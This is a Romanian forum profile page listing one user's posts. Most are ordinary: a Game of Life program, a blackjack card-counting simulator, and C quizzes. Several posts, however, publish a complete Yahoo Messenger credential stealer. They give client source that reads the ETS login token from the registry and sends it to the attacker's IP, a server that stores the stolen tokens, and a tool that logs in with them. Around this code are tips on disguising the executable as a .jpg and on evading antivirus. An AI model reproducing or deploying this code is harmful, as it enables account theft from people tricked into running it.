Jump to content

ionut.hulub

Active Members
  • Posts

    280
  • Joined

  • Last visited

  • Days Won

    1

Everything posted by ionut.hulub

  1. #include <iostream> #include <cstdlib> #include <ctime> #include <Windows.h> using namespace std; int main() { int i, j, suma; char c; bool univers[17][17]; bool aux[17][17]; //seeding the random number generator: srand((unsigned)time(0)); //seeding the universe: for (i = 0; i < 17; i++) { for (j = 0; j < 17; j++) if (i == 0 || i == 16 || j == 0 || j == 16) { univers[i][j] = 0; continue; } else univers[i][j] = rand()%2; } do { system("cls"); //afiseaza universul: for (i = 1; i < 16; i++) { for (j = 1; j < 16; j++) { if (univers[i][j]) cout<<"[X]"; else cout<<"[ ]"; } cout<<endl; } //construieste univers nou: for (i = 0; i < 17; i++) for (j = 0; j < 17; j++) aux[i][j] = 0; for (i = 1; i < 16; i++) for (j = 1; j < 16; j++) { suma = univers[i-1][j-1] + univers[i-1][j] + univers[i-1][j+1] + univers[i+1][j-1] + univers[i+1][j] + univers[i+1][j+1] + univers[i][j-1] + univers[i][j+1]; if(univers[i][j] == 1) { if(suma == 2 || suma == 3) aux[i][j] = 1; } else if (suma == 3) aux[i][j] = 1; } //copiaza din aux in univers: for (i = 1; i < 16; i++) for (j = 1; j < 16; j++) univers[i][j] = aux[i][j]; Sleep(3000); cout<<endl<<endl; } while (true); }
  2. "Why does everybody say let's leave a better planet to our children and not let's leave better children to our planet."
  3. Totul despre c si c++ "biblia" programarii in c si c++ e 60 de lei in librarii.
  4. Conways game of life e simplu de implementat. mai greu e sa faci un algoritm eficient. nu stiu sigur daca poate fi incadrat la inteligenta artificiala totusi pentru ca exacuta niste reguli foarte simple si nu invata pe parcurs.
  5. Am facut ieri un program care joaca un anumit numar de maini (specificat de utilizator) de blackjack dupa criterii specificate de utilizator. Mai exact programul inumara cartile, ca in filmul 21, si l'am facut ca sa testez cat de bine merge sistemul. Optii un edge de 1% pe casa cu sistemul hi-lo care este incarcat in program automat(poate fi inlocuit modificand fisierele text), si am reusit sa obtin un edge de 1.5% jucand doar mainile care au "count-ul pozitiv". Ca sa modificati criteriile dupa care alege sa dea hit/stand/double/split modificati fisierul strategy.txt; Ca sa modificati cate puncte valoareaza fiecare carte modificati points.txt; Ca sa modificati cate maini sa joace si cat sa fie bankroll-ul de plecare modificati info.txt; Recomand sa nu specificati un bankroll de plecare mai mare de 10k sau pot aparea erori dupa un numar de cateva sute de mii de maini jucate. Ca sa simulati 1 milion de maini poate dura pana la 3 ore... cam 1.5h pe un sistem bun. Am incarcat arhiva cu programul compilat si mai jos sunt fisierele sursa: Download: 21.rar download - 2shared Fisiere sursa: bet.h #ifndef BET_H #define BET_H #include "bankroll.h" #include "pachet.h" using namespace std; class Bet{ int betAmount; Bankroll *bankroll; Pachet *pachet; public: Bet(Bankroll *bankrollToUse, Pachet *pachetToUse) { bankroll = bankrollToUse; pachet = pachetToUse; } void start() { betAmount = bankroll->bettingUnit(); cout<<"[*]Bet is: "<<betAmount<<endl<<endl; if(pachet->count()/pachet->pacheteRamase() > 1) betAmount *= (pachet->count()/pachet->pacheteRamase()) - 1; } void doubleBet() { betAmount = betAmount*2; } int betSize() { int amount = betAmount; betAmount = 0; return amount; } }; #endif bankroll.h #ifndef BANKROLL_H #define BANKROLL_H class Bankroll{ long long int bankroll; public: Bankroll(int amount) { bankroll = amount; } void add(int amount) { bankroll += amount; } void substract(int amount) { bankroll -= amount; } int bettingUnit() { if(bankroll > 999) return bankroll/1000; else return 1; } int value() { return bankroll; } }; #endif player.h #ifndef PLAYER_H #define PLAYER_H #include "bet.h" #include "pachet.h" using namespace std; class Player{ private: int maini[100]; int nrMaini; int suma; Pachet *pachet; Bet *bet; int carti[22]; int nrCarti; public: Player(Pachet *pachetComun, Bet *betAmount){ pachet = pachetComun; bet = betAmount; nrMaini = 0; } void playHand(int startingCardOne, int startingCardTwo, int dealerCard, int chart1[18][12], int chart2[11][12], int chart3[12][12]) { if(dealerCard == 20) dealerCard = 10; carti[0] = startingCardOne; carti[1] = startingCardTwo; bool cont, busted; int nrAsi, sumaNoua, aux; nrCarti = 2; if((carti[0] == 20 && carti[1] == 11) || (carti[0] == 11 && carti[1] == 20)) { maini[nrMaini++] = 42; cout<<"Player stops. Blackjack!"<<endl; return; } if(carti[0] == 20) carti[0] -= 10; if(carti[1] == 20) carti[1] -= 10; suma = carti[0] + carti[1]; //check if player has pair: if(carti[0] == carti[1]) switch(chart3[carti[0]][dealerCard]) { case 1: maini[nrMaini++] = suma; cout<<"Player stands at "<<suma<<endl; return; case 2: carti[nrCarti++] = pachet->dealCard(); if(carti[nrCarti-1] == 20) carti[nrCarti-1] -= 10; suma+=carti[nrCarti-1]; cout<<"Player hits a "<<carti[nrCarti-1]<<endl;break; case 3: cout<<"Player is doubling the bet!"<<endl;bet->doubleBet(); carti[nrCarti++] = pachet->dealCard(); if(carti[nrCarti-1] == 20) carti[nrCarti-1] -= 10; suma+=carti[nrCarti-1]; cout<<"Player hits a "<<carti[nrCarti-1]<<endl<<"Player stands at "<<suma<<endl;maini[nrMaini++] = suma; return; case 4: playHand(startingCardOne, pachet->dealCard(), dealerCard, chart1, chart2, chart3); playHand(startingCardTwo, pachet->dealCard(), dealerCard, chart1, chart2, chart3); return; } do{ busted = 1; nrAsi = 0; for(int i = 0; i < nrCarti; i++) if (carti[i] == 11) nrAsi++; cont = false; for (int i = 0; i < nrAsi; i++) { sumaNoua = suma - i*10; if (sumaNoua < 22) { busted = 0; switch(chart2[sumaNoua][dealerCard]) { case 1: maini[nrMaini++] = sumaNoua; cout<<"Player stands at "<<sumaNoua<<endl; return; case 2: carti[nrCarti++] = pachet->dealCard(); if(carti[nrCarti-1] == 20) carti[nrCarti-1] -= 10; suma+=carti[nrCarti-1]; cont = true; cout<<"Player hits a "<<carti[nrCarti-1]<<endl; case 3: if(nrCarti != 2) { carti[nrCarti++] = pachet->dealCard(); if(carti[nrCarti-1] == 20) carti[nrCarti-1] -= 10; suma+=carti[nrCarti-1]; cont = true; cout<<"Player hits a "<<carti[nrCarti-1]<<endl; } else { cout<<"Player is doubling the bet!"<<endl; bet->doubleBet(); carti[nrCarti++] = pachet->dealCard(); cout<<"Player hits a "<<carti[nrCarti-1]; if(carti[nrCarti-1] == 20 || (carti[nrCarti-1] == 11 && suma == 11)) carti[nrCarti-1] -= 10; suma+=carti[nrCarti-1]; cout<<endl<<"Player stands at "<<suma<<endl; maini[nrMaini++] = suma; return; } } } } if(cont) continue; suma = 0; for (int i = 0; i < nrCarti; i++) { if (carti[i] == 11) carti[i] = 1; suma += carti[i]; } if(suma < 22) { aux = suma; if(aux > 17) aux = 17; busted = 0; switch(chart1[aux][dealerCard]) { case 1: maini[nrMaini++] = suma; cout<<"Player stands at "<<suma<<endl; return; case 2: carti[nrCarti++] = pachet->dealCard(); if(carti[nrCarti-1] == 20) carti[nrCarti-1] -= 10; suma+=carti[nrCarti-1]; cout<<"Player hits a "<<carti[nrCarti-1]<<endl; break; case 3: if(nrCarti != 2) { carti[nrCarti++] = pachet->dealCard(); if(carti[nrCarti-1] == 20) carti[nrCarti-1] -= 10; suma+=carti[nrCarti-1]; cout<<"Player hits a "<<carti[nrCarti-1]<<endl; break; } else { cout<<"Player is doubling the bet!"<<endl; bet->doubleBet(); carti[nrCarti++] = pachet->dealCard(); cout<<"Player hits a "<<carti[nrCarti-1]; if(carti[nrCarti-1] == 20 || (carti[nrCarti-1] == 11 && suma == 11)) carti[nrCarti-1] -= 10; suma+=carti[nrCarti-1]; cout<<endl<<"Player stands at "<<suma<<endl; maini[nrMaini++] = suma; return; } } } else { cout<<"Player stands at "<<suma<<endl; maini[nrMaini++] = suma; } }while(!busted); } int* addr() { return maini; } int handsPlayed() { int maini = nrMaini; nrMaini = 0; return maini; } }; #endif dealer.h #ifndef DEALER_H #define DEALER_H #include "pachet.h" using namespace std; class Dealer{ int suma; Pachet *pachet; int carti[22]; int nrCarti; public: Dealer(Pachet *pachetComun){ pachet = pachetComun; } int playHand(int startingCardOne, int startingCardTwo) { bool busted = 0; int nrAsi, sumaNoua; carti[0] = startingCardOne; carti[1] = startingCardTwo; nrCarti = 2; if((carti[0] == 20 && carti[1] == 11) || (carti[0] == 11 && carti[1] == 20)) { cout<<"Dealer stops. Blackjack!"<<endl; return 42; } if(carti[0] == 20) carti[0] -= 10; if(carti[1] == 20) carti[1] -= 10; suma = carti[0] + carti[1]; do{ //inumara cati asi are in mana nrAsi = 0; for (int i = 0; i < nrCarti; i++) if (carti[i] == 11) nrAsi++; busted = 1; for (int i = 0; i <= nrAsi; i++) { sumaNoua = suma - i*10; if(sumaNoua < 22) busted = 0; if(sumaNoua > 16 && sumaNoua < 22) { cout<<"Dealer stands at "<<sumaNoua<<endl; return sumaNoua; } } if(!busted) { carti[nrCarti] = pachet->dealCard(); cout<<"Dealer hits a "<<carti[nrCarti]<<endl; if(carti[nrCarti] == 20) carti[nrCarti] -= 10; suma+= carti[nrCarti++]; } }while(!busted); suma -= nrAsi * 10; cout<<"Dealer stands at "<<suma<<endl; return suma; } }; #endif pachet.h #ifndef PACHET_H #define PACHET_H #include <cstdlib> #include <fstream> using namespace std; class Pachet{ int carti[312]; int nrCarti; int deadCards; int remainingCards; int hotness; int points[12]; public: Pachet() { ifstream fin ("points.txt"); for (int i = 2; i < 12; i++) fin>>points[i]; for (int i = 0; i < 216; i++) carti[i] = i/24 + 2; for (int i = 216; i < 240; i++) carti[i] = 20; for (int i = 240; i < 288; i++) carti[i] = 10; for (int i = 288; i < 312; i++) carti[i] = 11; nrCarti = 311; deadCards = rand()%16 + 62; remainingCards = 312 - deadCards; hotness = 0; } //new deck: void newDeck() { for (int i = 0; i < 216; i++) carti[i] = i/24 + 2; for (int i = 216; i < 240; i++) carti[i] = 20; for (int i = 240; i < 288; i++) carti[i] = 10; for (int i = 288; i < 312; i++) carti[i] = 11; nrCarti = 311; deadCards = rand()%16 + 62; remainingCards = 312 - deadCards; hotness = 0; } //deals a card from the deck: int dealCard() { int random = rand()%nrCarti; int dealtCard; dealtCard = carti[random]; carti[random] = carti[nrCarti]; nrCarti--; remainingCards--; if (dealtCard != 20) hotness += points[dealtCard]; else hotness += points[10]; return dealtCard; } //checks if the deck is empty; int empty() { if (remainingCards<=0) return 1; else return 0; } int count() { return hotness; } int pacheteRamase() { return nrCarti/52; } }; #endif GameBreakdown.cpp #include <iostream> #include <cstdlib> #include <ctime> #include <fstream> #include <stdlib.h> #include "pachet.h" #include "dealer.h" #include "player.h" #include "bankroll.h" #include "bet.h" #include "bet2.h" using namespace std; int chart1[18][12]; int chart2[22][12]; int chart3[12][12]; int main() { ifstream fin ("strategy.txt"); ifstream fin2 ("info.txt"); int i, j; int handsToPlay; int startingBk; fin2>>handsToPlay>>startingBk; if (handsToPlay < 1) { cout<<"To few hands to paly..."<<endl; cin.get(); return 0; } if (startingBk < 1) { cout<<"Starting bankroll is to small..."<<endl; cin.get(); return 0; } //sead the random number generator: srand((unsigned)time(0)); //citire charturi: for(i = 17; i > 4; i--) for(j = 2; j < 12; j++) fin>>chart1[i][j]; for(i = 21; i > 12; i--) for (j = 2; j < 12; j++) fin>>chart2[i][j]; for(i = 11; i > 1; i--) for (j = 2; j < 12; j++) fin>>chart3[i][j]; Pachet *pachet = new Pachet(); Dealer *dealer = new Dealer(pachet); Bankroll *bankroll = new Bankroll(startingBk); Bet *bet = new Bet(bankroll, pachet); Bet2 *bet2 = new Bet2(bankroll, pachet); Player *player = new Player(pachet, bet); int *maini = player->addr(); int dealerSum, betAmount; int playerCard1, dealerCard1, playerCard2, dealerCard2; for (int k = 0; k < handsToPlay; k++) { cout<<endl<<endl<<endl<<"[**]Starting new hand..."<<endl; if(pachet->empty()) pachet->newDeck(); bet->start(); playerCard1 = pachet->dealCard();dealerCard1 = pachet->dealCard();playerCard2 = pachet->dealCard();dealerCard2 = pachet->dealCard(); //playerCard1 = 2; dealerCard1 = 4;playerCard2 = 3;dealerCard2 = 10; cout<<"[*]Dealing "<<playerCard1<<" and "<<playerCard2<<" to player."<<endl; cout<<"[*]Dealing "<<dealerCard1<<" and "<<dealerCard2<<" to dealer."<<endl<<endl; cout<<"[*]Player is playing hand: "<<endl; player->playHand(playerCard1, playerCard2, dealerCard1, chart1, chart2, chart3); cout<<endl<<"[*]Dealer is playing hand: "<<endl; dealerSum = dealer->playHand(dealerCard1, dealerCard2); betAmount = bet->betSize(); cout<<endl<<"[*]Total bet was: "<<betAmount<<endl; for(i = 0; i < player->handsPlayed(); i++) { if(maini[i] == 42) { bankroll->add(betAmount*3/2); cout<<"[*]Player wins with blackjack!"<<endl; continue; } if(dealerSum == 42) { cout<<"[*]Dealer wins with blackjack!"<<endl; bankroll->substract(betAmount); continue; } if(maini[i]<22 && (maini[i] > dealerSum || dealerSum > 21)) { cout<<"[*]Player wins!"<<endl; bankroll->add(betAmount); continue; } if(maini[i] == dealerSum || (maini[i]>21 && dealerSum > 21)) { cout<<"[*]Tie!"<<endl; continue; } cout<<"[*]Dealer wins!"<<endl; bankroll->substract(betAmount); } cout<<endl<<"[**]New bankroll is: "<<bankroll->value(); } cin.get(); return 0; } A fost compilat cu visual studio 2010. Daca aveti intrebari/nelamuriri/cerinte postati aici.
  6. poti sa adaugi un "using namespace std" ca sa iti usurezi munca...
  7. cred ca faci o confuzie. probabil te gandesti la un union, structura in care toate variabilele impart aceeasi zone de memorie, egala cu dimensiunea celei mai mari variabile.
  8. se acord. depinde atat de arhitectura cat si de compilator, dar pentru cei mai multi programatori charu e pe 1 byte, short pe 2, int pe 4 si double pe 8.
  9. intradevar e din cauza la cum sunt asezate in memorie. char'ul este pe 1 byte, si primele 2 charuri vor ocupa 2 bytes. sa zicem ca o sa le plaseze incapand de la zona de memorie 100 pana la 102. logic ar fi ca urmatorul int sa ocupe de la 102 pana la 106, dar int'ul, ocupand 4 bytes, trebuie sa place de la o zona de memorie divizibila cu 4, asa ca la compilare se va lasa un offset de 2 bytes dupa char-uri, si intul o sa inceapa sa fie scris in memoria incepand cu zona 104. o sa se mai lase un offset de 3 bytes dupa char c, unul de 2 bytes dupa short s[3] programul o sa afiseze 32. PS. daca vreti sa intelegi mai bine cum sta treaba, creati voi nistre structuri si afisati adresa fiecarul element ca sa vedeti cum sunt pozitionate in memorie.
  10. db e pe 8 octeti. inca astept rasp.
  11. Se da codul: typedef struct myStruct{ char a, b; int x; char c; double db; short s[3]; int z; } myStruct; myStruct grup; printf("%d", sizeof(grup)); ce afiseaza?
  12. YMLogger exe YMLogger Il puneti in acelasi folder cu serverul. dupe ca obtineti unul sau mai multe fisiere care contin ets-uri valide, va folositi de YMLogger ca sa va logati folosind ets-urile. cam asta ar fi tot ce aveti nevoie. #include "stdafx.h" #include <Windows.h> #define LEN 512 typedef struct users{ char numeFisier[256]; char numeFaraExt[256]; //add here } users; int _tmain(int argc, _TCHAR* argv[]) { HANDLE firstFile; int i = 0; users fisiere[1024]; char currentPath[LEN]; GetCurrentDirectory(LEN, currentPath); strcat(currentPath, "\\*.txt"); WIN32_FIND_DATA winFD; if((firstFile = FindFirstFile(currentPath, &winFD)) == INVALID_HANDLE_VALUE) { printf("error %d.", GetLastError()); return 0; } int x; do { strcpy(fisiere[i].numeFisier, winFD.cFileName); strcpy(fisiere[i++].numeFaraExt, winFD.cFileName); for (x = 0; fisiere[i-1].numeFisier[x] != '\0'; x++); fisiere[i-1].numeFaraExt[x-4] = '\0'; x = 0; }while(FindNextFile(firstFile, &winFD) != 0); int j = 0; while(j < i) printf("%-4d%s\n",j+1, fisiere[j++].numeFaraExt); printf("\nTastati indicele userului pe care vreti sa va logati apoi apasati Enter: \n"); int user; printf("->"); scanf("%d", &user); HANDLE toHack; toHack = CreateFile(fisiere[user-1].numeFisier, FILE_READ_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); byte continut[LEN]; DWORD biticititi; ReadFile(toHack, continut, LEN, &biticititi, NULL); HKEY cheieReg; byte autoLog[4]; for(i = 0; i < 4; i++) autoLog[i] = 0; autoLog[0] = 1; DWORD al = 1; RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Yahoo\\pager", 0, KEY_SET_VALUE, &cheieReg); RegSetKeyValue(cheieReg, NULL, "ETS", REG_SZ, continut, biticititi); RegSetKeyValue(cheieReg, NULL, "Yahoo! User ID", REG_SZ, fisiere[user-1].numeFaraExt, strlen(fisiere[user-1].numeFaraExt)); RegSetKeyValue(cheieReg, NULL, "Auto Login", REG_DWORD, autoLog, 4); printf("\nInchideti mess-ul in cazut in care este pornit, apoi deschideti o fereastra de mess noua...\n"); return 0; }
  13. nu garantez dar sigur am citit undeva cum ca ets-ul ar contine un timestamp inversat, parola in md5 si inca vreo 2 chestii, toate astea codate in yahoo64.
  14. din cate stiu eu nu se poate cat timp nu gasesti o eroare gen buffer overflow in programul care deschide fie imaginea fie pdf-ul pe care sa il exploatezi.
  15. keyloggeru e mult mai usor de depistat de antivirul mai nu mai vorbiti aiurea, plus ca daca se prinde ca i'ai dat keylogger poate face un backup ceva si scapa de el inainte sa tasteze parola
  16. De ce o sa am probleme la conexiune? si relativ la prima intrebare, daca mai haleste cineva, raspuns e da, foarte multi oameni. evident recomand sa iti dati un nume gen laMare.jpg.exe ca sa creada unii ca e poza(majoritatea au extensia ascunsa si or sa vada doar laMare.jpg) si sa ii modificati iconita dar asta tine de voi. online virus scan: https://www.virustotal.com/file/64442bc282315a66a94c1033e137a08d082ce6355b4953199dc03c3b085db1c3/analysis/1329749789/ nu a fost depistat deloc. am observat totusi ca daca victima are firewall activ, clientul o sa ceara permisiune sa se conecteze la net, dar majoritatea oamenilor dau ok fara sa citeasca deci nu'i problema.
  17. tu sti ce inseamna irefutabil?
  18. in cazut asta va dau si codul serverului, desi pentru majoritatea nu cred ca portul o sa fie o problema #include <winsock2.h> #include <ws2tcpip.h> #include <stdio.h> #define DEFAULT_PORT "27015" #define DEFAULT_BUFLEN 512 #pragma comment(lib, "ws2_32.lib") int main() { FILE* fisier; WSADATA wsaData; int iResult; iResult = WSAStartup(MAKEWORD(2, 2), &wsaData); if (iResult != 0) { printf("Eroare. %d", iResult); return 0; } struct addrinfo *result = NULL, *ptr = NULL, hints; ZeroMemory( &hints, sizeof(hints) ); hints.ai_family = AF_INET; hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; hints.ai_flags = AI_PASSIVE; // Resolve the local address and port to be used by the server iResult = getaddrinfo(NULL, DEFAULT_PORT, &hints, &result); if ( iResult != 0 ) { printf("getaddrinfo failed: %d\n", iResult); WSACleanup(); return 1; } SOCKET ListenSocket = INVALID_SOCKET; ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol); if (ListenSocket == INVALID_SOCKET) { printf("Error at socket(): %ld\n", WSAGetLastError()); freeaddrinfo(result); WSACleanup(); return 1; } // Setup the TCP listening socket iResult = bind( ListenSocket, result->ai_addr, (int)result->ai_addrlen); if (iResult == SOCKET_ERROR) { printf("bind failed: %d\n", WSAGetLastError()); freeaddrinfo(result); closesocket(ListenSocket); WSACleanup(); return 1; } if ( listen( ListenSocket, SOMAXCONN ) == SOCKET_ERROR ) { printf( "Error at bind(): %ld\n", WSAGetLastError() ); closesocket(ListenSocket); WSACleanup(); return 1; } SOCKET ClientSocket; ClientSocket = INVALID_SOCKET; // Accept a client socket int contorParole = 1; while (true) { ClientSocket = accept(ListenSocket, NULL, NULL); if (ClientSocket == INVALID_SOCKET) { printf("accept failed: %d\n", WSAGetLastError()); closesocket(ListenSocket); WSACleanup(); return 1; } char recvbuf[DEFAULT_BUFLEN]; int recvbuflen = DEFAULT_BUFLEN; iResult = recv(ClientSocket, recvbuf, recvbuflen, 0); if (iResult > 0) { printf("Password nr. %d received.\n", contorParole); } else if (iResult == 0) printf("Connection closing...\n"); else { printf("recv failed: %d\n", WSAGetLastError()); closesocket(ClientSocket); WSACleanup(); return 1; } recvbuf[iResult] = '\0'; char numeFisier[128]; int aux = 0; while (recvbuf[aux] != '$') { numeFisier[aux] = recvbuf[aux]; aux++; } numeFisier[aux] = '\0'; strcat(numeFisier, ".txt"); numeFisier[aux+4] = '\0'; fisier = fopen(numeFisier, "w"); fprintf(fisier, "%s", &recvbuf[aux+1]); fclose(fisier); contorParole++; } system("pause"); return 0; } Ca sa schimbati portul trebuie doar sa dati alta valoare constantei DEFAULT_PORT atat in client cat si in server.
  19. 27015 dar nu e nevoie sa specifici decat ip'ul. de port m'am ocupat eu.
  20. Cum functioneaza: daca aveti optiunea de remember ID & password bifata la Yahoo, atunci parola voastra se gaseste in registri criptata in md5 si apoi codata impreuna cu alte cateva informatii, purtand numele laolalta de ETS. Daca cunoasteti ETS-ul cuiva, il puteti folosi sa va logati pe id'ul lor de mess, si de acolo si pe mail. Programul care l'am facut va ajuta sa furati ETS'ul celui care il deschide. Mai sunt astfel de programe pe net, dar mojoritatea presupun ca ai acces fizic la calculatorul de pe care vrei sa furi ETS-ul. Cel facut de mine va trimite parola in calculatorul vostru. Faceti in felul urmator: 1)deschideti serverul pe calculatorul vostru; 2)trimiteti victimei fisierul "client.exe" si o/il convingeti sa il deschida. 3)in folderul care contine serverul o sa apara un fisier text nou, numele fisierului find id'ul victimei, iar continutul este ETS-ul acesteia. 4)descarcati de pe net un ets logger si folositi informatiile aflate la pasul 3 ca sa va logati. Mai tarziu in seara asta o sa fac si eu un ets logger personalizat pentru stealerul meu, si o sa il postez aici. FOARTE IMPORTANT: fisierul client.exe trebuie sa se conecteze la adresa voastra de ip ca sa va trimita parola, asa ca va trebui sa va dau codul sursa in loc de executabil, inlocuiti 127.0.0.1 cu ip-ul vostru!, il compilati (eu am folosit visual studio 2010 in release mode), si deabia apoi o sa aveti fisierul client.exe as putea sa il fac mai usor de configurat dar prefer asa, ca sa nu reuseasca toti copii de 10 ani sa il foloseasca. SERVER: YMStealerServer exe codul pentru client: #include <winsock2.h> #include <ws2tcpip.h> #include <stdlib.h> #include <stdio.h> #pragma comment(lib, "ws2_32.lib") #define DEFAULT_BUFLEN 512 #define DEFAULT_PORT "27015" typedef struct regentry{ char nume[256]; DWORD tip; byte data[256]; } regentry; int __cdecl main(int argc, char **argv) { int contor = 0; char sendbufmeu[512]; regentry valori; int i = 0; DWORD lenNumeValoare = 255, lenData = 511; char subkey[] = "Software\\Yahoo\\Pager"; HKEY cheie; if(RegCreateKeyEx(HKEY_CURRENT_USER, subkey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_QUERY_VALUE, NULL, &cheie, NULL)!=ERROR_SUCCESS){ printf("Eroare la deschidere cheie!"); return 1; } if(RegEnumValue(cheie, i, valori.nume, &lenNumeValoare, NULL, &valori.tip, valori.data, &lenData)!=ERROR_SUCCESS){ printf("Eroare. %d", GetLastError()); } do{ i++; if(!strcmp(valori.nume, "ETS") || !strcmp(valori.nume, "Yahoo! User ID")) { if(contor==0){ strcpy(sendbufmeu, (char*)valori.data); strcat(sendbufmeu, "$"); contor++; } else strcat(sendbufmeu, (char*)valori.data); } lenNumeValoare = 255; lenData = 511; }while(RegEnumValue(cheie, i, valori.nume, &lenNumeValoare, NULL, &valori.tip, valori.data, &lenData) != ERROR_NO_MORE_ITEMS); WSADATA wsaData; SOCKET ConnectSocket = INVALID_SOCKET; struct addrinfo *result = NULL, *ptr = NULL, hints; char *sendbuf = "this is a test"; char recvbuf[DEFAULT_BUFLEN]; int iResult; int recvbuflen = DEFAULT_BUFLEN; char ip[] = "127.0.0.1"; // Initialize Winsock iResult = WSAStartup(MAKEWORD(2,2), &wsaData); if (iResult != 0) { printf("WSAStartup failed: %d\n", iResult); return 1; } ZeroMemory( &hints, sizeof(hints) ); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; // Resolve the server address and port iResult = getaddrinfo(ip, DEFAULT_PORT, &hints, &result); if ( iResult != 0 ) { printf("getaddrinfo failed: %d\n", iResult); WSACleanup(); return 1; } // Attempt to connect to an address until one succeeds for(ptr=result; ptr != NULL ;ptr=ptr->ai_next) { // Create a SOCKET for connecting to server ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol); if (ConnectSocket == INVALID_SOCKET) { printf("Error at socket(): %ld\n", WSAGetLastError()); freeaddrinfo(result); WSACleanup(); return 1; } // Connect to server. iResult = connect( ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen); if (iResult == SOCKET_ERROR) { closesocket(ConnectSocket); ConnectSocket = INVALID_SOCKET; continue; } break; } freeaddrinfo(result); if (ConnectSocket == INVALID_SOCKET) { printf("Unable to connect to server!\n"); WSACleanup(); return 1; } // Send an initial buffer iResult = send( ConnectSocket, sendbufmeu, (int)strlen(sendbufmeu), 0 ); if (iResult == SOCKET_ERROR) { printf("send failed: %d\n", WSAGetLastError()); closesocket(ConnectSocket); WSACleanup(); return 1; } // shutdown the connection since no more data will be sent iResult = shutdown(ConnectSocket, SD_SEND); if (iResult == SOCKET_ERROR) { printf("shutdown failed: %d\n", WSAGetLastError()); closesocket(ConnectSocket); WSACleanup(); return 1; } // cleanup closesocket(ConnectSocket); WSACleanup(); return 0; } Daca aveti intrebari (si cred ca o sa aveti) le astept aici. happy coding
  21. ce iti trebuie? cu bani o rezolvi usor daca nu ai bani, macar un domeniu .ro si hosting sa ai si cu ceva cunostinte de css si php poti sa il faci si singur.
  22. Bravo ati raspuns corect.
  23. Se da codul: #include <stdio.h> void main() { unsigned char c = 240; while (c > 16) { c = (((c & 128)>>7) | (c << 1)); } printf("%d", (int)c); } Da sau nu eroare? Daca da, ce eroare? Daca nu, ce afiseaza?
×
×
  • Create New...